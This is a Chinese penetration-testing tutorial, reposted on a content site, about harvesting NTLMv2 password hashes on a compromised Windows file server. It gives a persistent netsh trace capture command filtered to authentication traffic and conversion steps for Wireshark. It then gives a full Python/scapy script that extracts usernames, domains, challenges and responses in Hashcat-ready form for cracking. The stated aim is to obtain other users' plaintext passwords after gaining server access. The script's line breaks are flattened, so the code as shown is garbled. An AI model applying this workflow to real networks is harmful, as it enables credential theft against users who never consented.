渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash

0x00 前言

在上篇文章《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》比较了NTLM hash和Net-NTLM hash的区别,本文将继续对Net-NTLM hash在内网渗透中的应用作介绍,解决一个有趣的问题: 如果获得了内网一个文件服务器的权限,如何获得更多用户的口令?

0x01 简介

本文将要介绍以下内容:

  • 在windows平台下不安装任何第三方依赖库来进行网络抓包的方法
  • 将数据包转换成pcap格式
  • 使用Wireshark对数据包进行分析
  • 编写Python提取出NTLMv2 Hash
  • 使用Hashcat对Hash进行破解

0x02 解决思路

《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》中提到,客户端在连接文件服务器时,默认会将当前登录用户的密码Hash发送至服务器进行验证,如果验证失败,需要重新输入登录用户名和口令 如果获得了内网一个文件服务器的权限,那么内网中的其他主机在使用界面尝试访问该服务器时,首先会将本机的密码Hash发送至服务器进行验证,在服务器端抓取数据包能够获得NTLM Response,对NTLM Response的格式进行解析,提取特定信息,使用Hashcat尝试字典破解或者暴力破解,就有可能还原出用户本机的明文口令 所以,接下来需要解决第一个问题: 如何在文件服务器上抓取数据包?

0x03 Windows平台下进行网络抓包的方法

最常用的方法当然是安装Wireshark,但如果能找到一种不安装任何第三方依赖库、系统自带、直接用来抓包的方法岂不是更好? 方法当然是有的。 通过Windows系统自带的netsh中的trace功能能够实现不安装任何第三方依赖库,在命令行下进行抓包 支持Win7、Server2008R2及以后的系统,但不支持Server2008 官方说明文档:

https://technet.microsoft.com/en-us/library/dd878517%28v=ws.10%29.aspx

注: netsh trace需要管理员权限 使用方法:

1.开启记录功能

netsh trace start capture=yes persistent=yes traceFile="c:\test\snmp1.etl" overwrite=yes correlation=no protocol=tcp ipv4.address=192.168.62.130 keywords=ut:authentication

参数说明:

  • capture=yes: 开启抓包功能
  • persistent=yes: 系统重启不关闭抓包功能,只能通过Netsh trace stop关闭
  • traceFile: 指定保存记录文件的路径
  • overwrite=yes: 如果文件存在,那么对其覆盖
  • correlation=no: 不收集关联事件
  • protocol=tcp: 抓取TPC协议
  • ipv4.address=192.168.62.130: 限定只抓和服务器IP相关的数据包
  • keywords=ut:authentication: 关键字为ut:authentication

加上以上限定参数是为了尽可能减小数据包大小,只筛选出SMB协议中同NTLMv2认证有关的内容 注: 同级目录下会生成系统的配置文件压缩包,后缀名为.cab

2.关闭记录功能

Netsh trace stop

关闭功能后,系统会将捕获到的数据包保存为etl结尾的文件 演示如下图Alt text

3.查看etl文件

etl文件无法直接打开,需要借助工具windows message analyzer将其转换成.cap格式(Wireshark能够识别) windows message analyzer下载地址:

https://www.microsoft.com/en-us/download/confirmation.aspx?id=44226

安装后打开etl文件,等待文件识别,识别成功后界面左下角提示Ready,如下图Alt text

4.转换成.cap格式

File-Save as-Export,保存成cap包格式 使用Wireshark打开cap包文件,成功读取数据包文件,获得服务器上的数据包 从数据包中能找到SMB2协议,如下图Alt text提取其中的一组数据包,还原出NTLM v2的关键信息,如下图Alt text拼接固定格式: username::domain:challenge:HMAC-MD5:blob 使用Hashcat进行破解 注: 详细破解方法可参考文章《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》,本文不再演示 如果手动组装多个NTLM v2响应包,费事费力,所以需要编写程序自动解析数据包,提取出Hashcat可用的NTLM v2内容 这就是第二个问题: 如何通过程序实现自动解析数据包,提取NTLM v2的内容?

0x04 通过程序实现自动解析数据包

开发语言: python python模块: scapy 说明地址: https://github.com/invernizzi/scapy-http 安装:

easy_install scapy
easy_install scapy_http

scapy能够解析pcap数据包,所以在使用前,先使用Wireshark将.cap包转换成pcap包 scapy示例代码如下:

try:import scapy.all as scapy
except ImportError:import scapytry:# This import works from the project directoryimport scapy_http.http
except ImportError:# If you installed this package via pip, you just need to execute thisfrom scapy.layers import httppackets = scapy.rdpcap('test.pcap')
for p in packets:print('=' * 78)p.show()

自动解析出每个数据包的格式,分为Ethernet、IP、TCP和Raw,如下图Alt text程序开发思路: 1.对目的端口进行判断,选出SMB协议的数据包 2.筛选出NTLMv2 Response数据包 3.通过当前数据包获得username、domain、HMAC-MD5和blob 4.通过前一数据包获得Server challenge 具体实现:

1.选出SMB协议的数据包

目的端口为445

packets[p]['TCP'].dport == 445

2.筛选出NTLMv2 Response数据包

TCP payload包含特殊字符串NTLMSSP

packets[p]['Raw'].load.find('NTLMSSP') != -1

3.获得通过当前数据包获得username、domain、HMAC-MD5和blob

HMAC-MD5和blob为固定位置,直接通过固定偏移即可获得 username和domain为固定格式,2字节表示Length,2字节表示Maxlen,4字节表示偏移,值得注意的2字节长度实际上为int型数据,在读取时高低位要互换 例如读取出16进制数据为4601,实际计算的是0146转换成10进制的值,为326

DomainLength1 = int(TCPPayload[Flag+28:Flag+28+1].encode("hex"),16)
DomainLength2 = int(TCPPayload[Flag+28+1:Flag+28+1+1].encode("hex"),16)*256                             
DomainLength = DomainLength1 + DomainLength2

domain以Unicode格式保存,需要转换成ascii,具体实现是把字符串转换成数组,只取奇数位

DomainName = [DomainNameUnicode[i] for i in range(len(DomainNameUnicode)) if i%2==0]
DomainName = ''.join(DomainName)

完整实现代码如下:

#!/usr/bin/env python
try:import scapy.all as scapy
except ImportError:import scapytry:# This import works from the project directoryimport scapy_http.http
except ImportError:# If you installed this package via pip, you just need to execute thisfrom scapy.layers import httppackets = scapy.rdpcap('6.pcap')
Num = 1
for p in range(len(packets)):try:if packets[p]['TCP'].dport ==445:TCPPayload = packets[p]['Raw'].loadif TCPPayload.find('NTLMSSP') != -1:if len(TCPPayload) > 500:       print ("----------------------------------Hashcat NTLMv2 No.%s----------------------------------"%(Num))Num = Num+1print ("PacketNum: %d"%(p+1))print ("src: %s"%(packets[p]['IP'].src))print ("dst: %s"%(packets[p]['IP'].dst))Flag = TCPPayload.find('NTLMSSP')ServerTCPPayload = packets[p-1]['Raw'].loadServerFlag = ServerTCPPayload.find('NTLMSSP')ServerChallenge = ServerTCPPayload[ServerFlag+24:ServerFlag+24+8].encode("hex")print ("ServerChallenge: %s"%(ServerChallenge))DomainLength1 = int(TCPPayload[Flag+28:Flag+28+1].encode("hex"),16)DomainLength2 = int(TCPPayload[Flag+28+1:Flag+28+1+1].encode("hex"),16)*256                             DomainLength = DomainLength1 + DomainLength2#print DomainLengthDomainNameUnicode = TCPPayload[Flag+88:Flag+88+DomainLength]DomainName = [DomainNameUnicode[i] for i in range(len(DomainNameUnicode)) if i%2==0]DomainName = ''.join(DomainName)print ("DomainName: %s"%(DomainName))                                                          UserNameLength1 = int(TCPPayload[Flag+36:Flag+36+1].encode("hex"),16)UserNameLength2 = int(TCPPayload[Flag+36+1:Flag+36+1+1].encode("hex"),16)*256                             UserNameLength = UserNameLength1 + UserNameLength2#print UserNameLengthUserNameUnicode = TCPPayload[Flag+88+DomainLength:Flag+88+DomainLength+UserNameLength]UserName = [UserNameUnicode[i] for i in range(len(UserNameUnicode)) if i%2==0]UserName = ''.join(UserName)print ("UserName: %s"%(UserName))  NTLMResPonseLength1 = int(TCPPayload[Flag+20:Flag+20+1].encode("hex"),16)NTLMResPonseLength2 = int(TCPPayload[Flag+20+1:Flag+20+1+1].encode("hex"),16)*256NTLMResPonseLength = NTLMResPonseLength1 + NTLMResPonseLength2                             #print NTLMResPonseLength                                                         NTLMResPonse = TCPPayload[Flag+174:Flag+174+NTLMResPonseLength].encode("hex")                                       #print NTLMResPonseprint "Hashcat NTLMv2:"print ("%s::%s:%s:%s:%s"%(UserName,DomainName,ServerChallenge,NTLMResPonse[:32],NTLMResPonse[32:]))except:pass

执行后程序输出如下图Alt text接着使用Hashcat进行破解即可 注: 解析pcap包的开源工具:

https://github.com/DanMcInerney/net-creds

但在解析ntlmv2的challenge时会出现bug

0x05 补充

对于文件服务器,如果开启了NetBIOS over TCP/IP,那么禁用445端口后,系统会尝试使用139端口进行连接 测试如下: 服务器禁用445端口,开启139端口 客户端尝试连接,SMB协议使用139端口,抓包如下图Alt text如果禁用了NetBIOS over TCP/IP,那么禁用445端口后,无法使用文件共享

0x06 小结

本文解决了在获得内网一个文件服务器的权限后,获得更多用户的口令的问题。 通过Windows命令行抓包获得SMB协议内容,编写程序自动提取NTLMv2 Hash,使用Hashcat进行破解,有可能还原出用户本机的明文口令

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/438777.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

第十节: 利用SQLServer实现Quartz的持久化和双机热备的集群模式 :

背景: 默认情况下,Quartz.Net作业是持久化在内存中的,即 quartz.jobStore.type "Quartz.Simpl.RAMJobStore, Quartz",这种模式有以下弊端: ① 想在A服务器上控制B服务器上已经发布了的job和trigger不方便&a…

第十节: 利用SQLServer实现Quartz的持久化和双机热备的集群模式

背景: 默认情况下,Quartz.Net作业是持久化在内存中的,即 quartz.jobStore.type "Quartz.Simpl.RAMJobStore, Quartz",这种模式有以下弊端: ① 想在A服务器上控制B服务器上已经发布了的job和trigger不方便&a…

任务调度开源框架Quartz动态添加、修改和删除定时任务

Quartz 是个开源的作业调度框架,为在 Java 应用程序中进行作业调度提供了简单却强大的机制。Quartz框架包含了调度器监听、作业和触发器监听。你可以配置作业和触发器监听为全局监听或者是特定于作业和触发器的监听。Quartz 允许开发人员根据时间间隔(或…

第十二节: 总结Quartz.Net几种部署模式(IIS、Exe、服务部署【借助TopSelf、服务类】)

一. IIS部署 比如在MVC框架中集成了Quartz.Net定时调度,此时该调度系统会随着MVC框架被挂在IIS下,IIS会进程回收,所以大部分开发都会遇到Quartz挂在IIS下一段时间不好用。 补充:IIS可以设置定时自动回收,默认回收是174…

[你必须知道的.NET] 第二回:对抽象编程:接口和抽象类

本文将介绍以下内容: • 面向对象思想:多态 • 接口 • 抽象类 1. 引言 在我之前的一篇post《抽象类和接口的谁是谁非》中,和同事管伟的讨论,得到很多朋友的关注,因为是不成体系的论道,所以给大家了解造…

Linux 启动失败 磁盘阵列,组建RAID5重启系统,出现md127的解决办法

我这里在组建RAID5之后重启了系统,当时/dev/md0变成了/dev/md127。出现这问题主要是我没有配置生成/etc/mdadm.conf文件,如果哪位伙伴出现类似我这种情况,而不是通过我这种方法解决的,希望能分享一下你的解决方法,谢谢…

[你必须知道的.NET] 第三回:历史纠葛:特性和属性

本文将介绍以下内容: • 定制特性的基本概念和用法 • 属性与特性的区别比较 • 反射的简单介绍 1. 引言 attribute是.NET框架引入的有一技术亮点,因此我们有必要花点时间来了解本文的内容,走进一个发现attribute登堂入室的入口。因为.N…

Linux的性能故障的含义,Linux排查性能故障的方法

好了,鉴于我们的Linux发行版现已安装,许多方面看起来似乎根本不“好”。今天我们将介绍为安装的Linux排查性能故障的方法。虽然今天的这篇文章明显倾向于Ubuntu,但我们探讨的几乎一切内容都同样适用于每个Linux发行版。要是哪些命令是专门针对…

[你必须知道的.NET] 第四回:后来居上:class和struct

本文将介绍以下内容: • 面向对象基本概念 • 类和结构体简介 • 引用类型和值类型区别 1. 引言 提起class和struct,我们首先的感觉是语法几乎相同,待遇却翻天复地。历史将接力棒由面向过程编程传到面向对象编程,class和stru…

linux shell跳板机,用shell开发跳板机

信号列表:在linux中和信号相关的常见命令为kill及trap命令,下来如何利用trap控制跳板机脚本来使用命令:命令:kill -l 和 trap -l企业实战中linux系统的重要信号及说明HUP(1) 挂起INT(2) 中断OUIT(3) 退…

[你必须知道的.NET] 第五回:深入浅出关键字---把new说透

本文将介绍以下内容: 面向对象基本概念new关键字深入浅出对象创建的内存管理 1. 引言 园子里好像没有或者很少把new关键字拿出来说的,那我就占个先机吧,呵呵。那么,我们到底有必要将一个关键字拿出来长篇大论吗?看来…

linux tcp server开源,GitHub - 06linux/cellnet: 高性能,简单,方便的开源服务器网络库...

cellnetcellnet是一个高性能,简单,方便的开源服务器网络库自由混合编码,业务代码无需调整。TCP和html5的应用都可以直接使用cellnet迅速搭建服务器框架。与Java的Netty或Mina网络库类似的Handler机制将给予强大定制功能。特性数据协议支持混合…

[你必须知道的.NET] 第六回:深入浅出关键字---base和this

本文将介绍以下内容: 面向对象基本概念base关键字深入浅出this关键字深入浅出1. 引言 new关键字引起了大家的不少关注,尤其感谢Anders Liu的补充,让我感觉博客园赋予的交流平台真的无所不在。所以,我们就有必要继续这个话题&…

[你必须知道的.NET] 第七回:品味类型---从通用类型系统开始

本文将介绍以下内容: .NET 基础架构概念 类型基础通用类型系统CLI、CTS、CLS的关系简述1. 引言 本文不是连环画,之所以在开篇以图形的形式来展示本文主题,其实就是想更加特别的强调这几个概念的重要性和关注度,同时希望从剖析其关…

[你必须知道的.NET] 第八回:品味类型---值类型与引用类型(上)-内存有理

本文将介绍以下内容: 类型的基本概念 值类型深入引用类型深入值类型与引用类型的比较及应用1. 引言 买了新本本,忙了好几天系统,终于开始了对值类型和引用类型做个全面的讲述了,本系列开篇之时就是因为想写这个主题,…

[你必须知道的.NET]第九回:品味类型---值类型与引用类型(中)-规则无边

接上回[第八回:品味类型---值类型与引用类型(上)-内存有理]的探讨,继续我们关注值类型和引用类型的话题。 本文将介绍以下内容: 类型的基本概念 值类型深入引用类型深入值类型与引用类型的比较及应用1. 引…

[你必须知道的.NET]第十回:品味类型---值类型与引用类型(下)-应用征途

本文将介绍以下内容: 类型的基本概念 值类型深入引用类型深入值类型与引用类型的比较及应用 [下载]:[类型示例代码] 1. 引言 值类型与引用类型的话题经过了两个回合([第八回:品味类型---值类型与引用类型(上&#xf…

[你必须知道的.NET]第十一回:参数之惑---传递的艺术(上)

本文将介绍以下内容: 按值传递与按引用传递深论ref和out比较 参数应用浅析 1. 引言 接上回《第九回:品味类型---值类型与引用类型(中)-规则无边》中,对值类型和引用类型的讨论,其中关于string…

[你必须知道的.NET]第十二回:参数之惑---传递的艺术(下)

本文将介绍以下内容: 按值传递与按引用传递深论ref和out比较 参数应用浅析 接上篇继续,『第十一回:参数之惑---传递的艺术(上)』 4.2 引用类型参数的按值传递 当传递的参数为引用类型时,传递和操作的是指…

[你必须知道的.NET]第十三回:从Hello, world开始认识IL

本文将介绍以下内容: IL代码分析方法 Hello, world历史 .NET学习方法论1. 引言 1988年Brian W. Kernighan和Dennis M. Ritchie合著了软件史上的经典巨著《The C programming Language》,我推荐所有的程序人都有机会重温这本历史上的经典之作。从那时起…